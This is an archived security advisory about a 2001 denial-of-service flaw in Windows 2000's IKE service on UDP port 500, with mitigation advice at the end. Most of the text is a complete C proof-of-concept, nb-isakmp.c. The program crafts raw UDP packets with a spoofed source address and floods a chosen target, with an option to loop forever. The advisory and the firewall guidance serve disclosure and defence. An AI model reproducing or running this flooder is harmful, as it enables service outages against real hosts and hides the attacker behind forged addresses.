TUCoPS :: Windows :: win4910.htm

UDP DoS in Win2k via IKE
10th Dec 2001 [SBWID-4910]
COMMAND

	UDP DoS in Win2k via IKE

SYSTEMS AFFECTED

	Win 2000

PROBLEM

	c0redump found a DoS on Win 2K, via IKE flood.
	

	A DoS attack can be carried out on Win2k machines running IKE  (internet
	key exchange) by sending flooding IKE with UDP packets. This  can  cause
	the machine to lock up and render 99% of the CPU.
	

	 Exploit

	 =======

	Connect to port 500 (IKE)  of  the  Win2k  box  and  start  sending  UDP
	packets of more than 800 bytes continuously.  The  box  will  eventually
	stop responding and services will be denied due to 99%  CPU  usage  from
	the packets.
	

	

	Darren Reed added :
	

	Because of the crypto involved, this sounds very similar to the  problem
	described in the paper presented at Usenix Security 2001 on DoS  attacks
	against secure web servers (I think 6 clients are required  to  make  an
	https server practically unusable). I wonder if a  similar  solution  is
	worthwhile...
	(http://www.usenix.org/events/sec01/)

	

	 Update

	 ======

	

	Exploit :
	

	 

	/* Autor         :       Nelson Brito

	 * E-mail        :       nelson@SEKURE.ORG or nelson@WWSECURITY.NET

	 * URL           :       http://nelson.wwsecurity.net/

	 * Arquivo       :       nb-isakmp.c

	 * Versão        :       0.3 Alpha

	 * País          :       Brasil

	 * Data          :       11/12/2001

	 *

	 *

	 * Descrição: 

	 * Este é a prova-do-conceito(proof-of-concept) do ataque de negação

	 * de serviço(denial of service, a.k.a. DoS) que explora a falha do

	 * IKE/ISAKMP(UDP 500) em sistemas Windows 2000.

	 *

	 * Esta é a versão em C de um código já lançado em PERL(Net::RawIP).

	 *

	 * Feliz Natal e um Feliz Ano Novo.

	 * Merry Christmas and Happy New Year.

	 */

	#include <stdio.h>

	#include <netdb.h>

	#include <string.h>

	#include <getopt.h>

	#include <stdlib.h>

	#include <signal.h>

	#include <unistd.h>

	#include <arpa/inet.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <netinet/ip.h>

	#include <netinet/udp.h>

	

	#define	ISAKMP_LEN	800

	#define IPPORT_ISAKMP	500

	#define SEND_MAX	31337

	

	extern char *optarg;

	extern int optind;

	extern int h_errno;

	

	void usage(char *name){

		printf(\"\\nUse:  %s [options]\\n\\n\", name);

		printf(\"\\t-s, --source*\\t\\tSource Address to Spoof\\n\");

		printf(\"\\t-d, --destination*\\tDestination Address to Attack\\n\");

		printf(\"\\t-p, --port\\t\\tDestination Port to Attack\\t(def: %d)\\n\", IPPORT_ISAKMP);

		printf(\"\\t-n, --number\\t\\tNumber of Packets to Send\\t(def: %d)\\n\", SEND_MAX);

		printf(\"\\t-l, --length\\t\\tPackets Length\\t\\t\\t(def: %d)\\n\", ISAKMP_LEN);

		printf(\"\\t-L, --loop\\t\\tSend Packets Forever\\n\");

		printf(\"\\t-h, --help\\t\\tShow this Message\\n\\n\");

		printf(\"Copyrigth(c) 2001 Nelson Brito<nelson@SEKURE.ORG>. All rigths reserved.\\n\");

		exit(0);

	}

	

	void u_abort(int s){

		printf(\"\\nnb-isamkp.c: aborted process id %d.\\n\", getpid());

		printf(\"Rock my world, baby!\\n\");

		exit(0);

	}

	

	/* 

	 * Eu já vi várias funções que fazem a mesma coisa, porém nunca de

	 * uma forma tão robusta. Quero ver neguinho pagar pau pros gringos

	 * agora. ;-)

	 */

	u_long getip(char *destination){

		static u_long ip_addr;

		struct hostent *hostname;

	

		hostname = gethostbyname(destination);

		if(hostname == NULL){

			switch(h_errno){

				case HOST_NOT_FOUND:

					printf(\"getip(): the spcified host is unknown.\\n\"); exit(0); break;

				case NO_ADDRESS|NO_DATA:

					printf(\"getip(): the requested name is valid but does not have an IP address.\\n\"); exit(0); break;

				case NO_RECOVERY:

					printf(\"getip(): a non-recoverable name server error occured.\\n\"); exit(0); break;

				case TRY_AGAIN:

					printf(\"getip(): a temporary error occurred on a AUTH NS, try again later.\\n\"); exit(0); break;

				default: break;

			}

		}

	

		memcpy(&ip_addr, hostname->h_addr, hostname->h_length);

		return(ip_addr);	

	}

	

	int isakmp_dos(int sock, u_long s_address, u_long d_address, int port, int number, int forever, int length){

		int nbs, 

		    i, 

		    psize, 

		    times = 0, 

		    dp,

		    iplen  = sizeof(struct iphdr),

		    udplen = sizeof(struct udphdr);

	

		struct sockaddr_in sin;

	

		struct _packet{

			struct iphdr  ip;

			struct udphdr udp;

			char data[length];

		} nb_pkt;

	

	

	

		sin.sin_family      = AF_INET;

		sin.sin_port        = 1235;

		sin.sin_addr.s_addr = d_address;

	

		psize = iplen + udplen + length;

		

		memset(&nb_pkt, 0, psize);

	

		nb_pkt.ip.version  = 4;

		nb_pkt.ip.ihl      = 5;

		nb_pkt.ip.tot_len  = htons(iplen + udplen + length);

		nb_pkt.ip.id       = htons(0xdead);

		nb_pkt.ip.ttl      = 0xff;

		nb_pkt.ip.protocol = IPPROTO_UDP;

		nb_pkt.ip.saddr    = s_address;

		nb_pkt.ip.daddr    = d_address;

	

		dp = port ? port : IPPORT_ISAKMP;

	

		nb_pkt.udp.source = htons(dp);

		nb_pkt.udp.dest   = htons(dp);

		nb_pkt.udp.len    = htons(length);

		nb_pkt.udp.check  = htons(0xbeef);

	

		for(i = 0 ; i < length ; i++)

			nb_pkt.data[i] = 0x2e;

	

		times = number ? number : SEND_MAX;

	

		while(times > 0){

			printf(\".\");

			nbs = sendto(sock, &nb_pkt, psize, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr));

			if(!forever) times--;

		}

		return nbs;

	}

	

	int main(int argc, char **argv){

		char *version = \"0.3a\";

		u_long source, destination;

		int lineopt, 

		    port = 0, 

		    nb, 

		    nbs = 1,

		    loop = 0,

		    number = 0,

		    pkt_len,

		    src_ok = 0,

		    dst_ok = 0,

		    length = 0;

	

		printf(\"--- nb-isakmp.c v.%s / Nelson Brito / Independent Security Consultant ---\\n\", version);

	

		(argc < 4) ? usage(argv[0]) : (char *)NULL;

	

		signal(SIGHUP,  SIG_IGN);

		signal(SIGINT,  u_abort);

		signal(SIGTERM, u_abort);

		signal(SIGKILL, u_abort);

		signal(SIGQUIT, u_abort);

	

		while(1){

			static struct option my_opt[]={

				{\"source\",	1, 0, \'s\'},

				{\"destination\",	1, 0, \'d\'},

				{\"port\",	1, 0, \'p\'},

				{\"number\",	1, 0, \'n\'},

				{\"length\",	1, 0, \'l\'},

				{\"loop\",	0, 0, \'L\'},

				{\"help\",	0, 0, \'h\'},

				{0,		0, 0, 0}

			};

	

			int option_index = 0;

			lineopt = getopt_long(argc, argv, \"s:d:p:n:l:Lh\", my_opt, &option_index);

	

			if(lineopt == -1) break;

	

			switch(lineopt){

				case \'s\':

					source = getip(optarg); src_ok =1; break;

				case \'d\':

					destination = getip(optarg); dst_ok = 1; break;

				case \'p\':

					port = atoi(optarg); break;

					if((port <= 0) || (port > 65535)){

						printf(\"main(): port range error.\\n\");

					}

				case \'n\':

					number = atoi(optarg); break;

				case \'l\':

					length = atoi(optarg); break;

				case \'L\':

					loop = 1; break;

				case \'h\':

				default:

					usage(argv[0]); break;

			}

		}

	

		if((!src_ok) || (!dst_ok)) usage(argv[0]);

	

		if((nb = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))< 0){

			printf(\"main(): socket() error.\\n\");

			exit(0);

		}

		

		if(setsockopt(nb, IPPROTO_IP, IP_HDRINCL, (char *)&nbs, sizeof(nbs)) < 0){

			printf(\"main(): setsockopt() error.\\n\");

			exit(0);

		}

	

		pkt_len = length ? length : ISAKMP_LEN;

	

		isakmp_dos(nb, source, destination, port, number, loop, pkt_len);

	

		printf(\"\\nRock my world, baby!\\n\");

		return(1);

	}

	

SOLUTION

	 Update

	 ======

	

	When IPSec is not in use, filter UDP dst port 500 on your border  router
	/ firewall. If you don\'t have a border router or firewall, then one  of
	the various  commercially  available  \"personal  type\"  firewalls  can
	help.
	

	Notice that with built in Windows  2000  IPSec  filters  you  *can  not*
	firewall  port  500  off  (see  also  Microsoft  Knowledgebase   article
	Q253169).
	

	If you are actively  making  usage  of  IPSec  at  your  site,  then  an
	immediate fix to this problem might not be available. ACL Lists on  your
	Firewall/Router may help by limiting the range of IP addresses that  are
	allowed to send UDP port 500 traffic to you,  so  that  only  legitimate
	IPSec tunnel partners can reach your server, might help.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH